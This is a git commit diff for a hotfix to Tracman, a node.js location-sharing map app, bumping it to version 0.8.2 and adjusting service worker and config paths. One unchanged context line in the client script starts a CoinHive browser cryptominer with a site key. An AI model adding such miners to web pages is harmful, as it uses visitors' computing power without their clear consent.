Merged hotfix-0.8.2 into develop

master
Keith Irwin 2018-01-22 22:57:59 +00:00
commit 4d72d9bf1e
No known key found for this signature in database
GPG Key ID: 378933C743E2BBC0
7 changed files with 12 additions and 11 deletions

View File

@ -4,3 +4,5 @@ node_js:
branches:
only:
- master
build:
echo "module.exports = require('./travis.js');" > config/env/env.js

View File

@ -1,8 +1,8 @@
# Tracman Server Changelog
### v0.8.1
### v0.8.2
###### v0.8.1
* Hotfixed service worker bug
###### v0.8.1/2
* Hotfixed service worker bugs
###### v0.8.0
* Added check to ensure only the newest location is sent

View File

@ -1,5 +1,5 @@
# <img align="left" src="/static/img/icon/by/48.png" alt="T" title="The Tracman Logo">Tracman
###### v 0.8.1
###### v 0.8.2
node.js application to display a sharable map with user's location.
@ -55,8 +55,8 @@ Tracman will be updated according to [this branching model](http://nvie.com/post
[view full changelog](CHANGELOG.md)
###### v0.8.1
* Hotfixed service worker bug
###### v0.8.1/2
* Hotfixed service worker bugs
#### v0.8.0
* Added check to ensure only the newest location is sent

View File

@ -1,6 +1,6 @@
{
"name": "tracman",
"version": "0.8.1",
"version": "0.8.2",
"description": "Tracks user's GPS location",
"main": "server.js",
"dependencies": {

View File

@ -6,12 +6,11 @@ const bodyParser = require('body-parser')
const expressValidator = require('express-validator')
const cookieParser = require('cookie-parser')
const cookieSession = require('cookie-session')
const debug = require('debug')('tracman-server')
const mongoose = require('mongoose')
const nunjucks = require('nunjucks')
const passport = require('passport')
const flash = require('connect-flash-plus')
const env = require(process.env.ENV_FILE||'./config/env/env.js')
const env = require('./config/env/env.js')
const User = require('./config/models.js').user
const mail = require('./config/mail.js')
const demo = require('./config/demo.js')

View File

@ -21,7 +21,7 @@ new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE', {
// Service worker
if ('serviceWorker' in navigator) {
window.addEventListener('load', function () {
navigator.serviceWorker.register('/static/js/sw.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
navigator.serviceWorker.register('/static/js/.sw.bun.js'/*'/static/js/.sw.bun.js'*/).then( function(registration) {
// Registration was successful
console.log('ServiceWorker registration successful with scope: ', registration.scope)
}, function(err) {

View File

@ -16,7 +16,7 @@
// Names of the two caches used in this version of the service worker.
// Change when you update any of the local resources, which will
// in turn trigger the install event again.
const PRECACHE = 'precache-0.8.1'
const PRECACHE = 'precache-0.8.2'
const RUNTIME = 'runtime'
// A list of local resources we always want to be cached.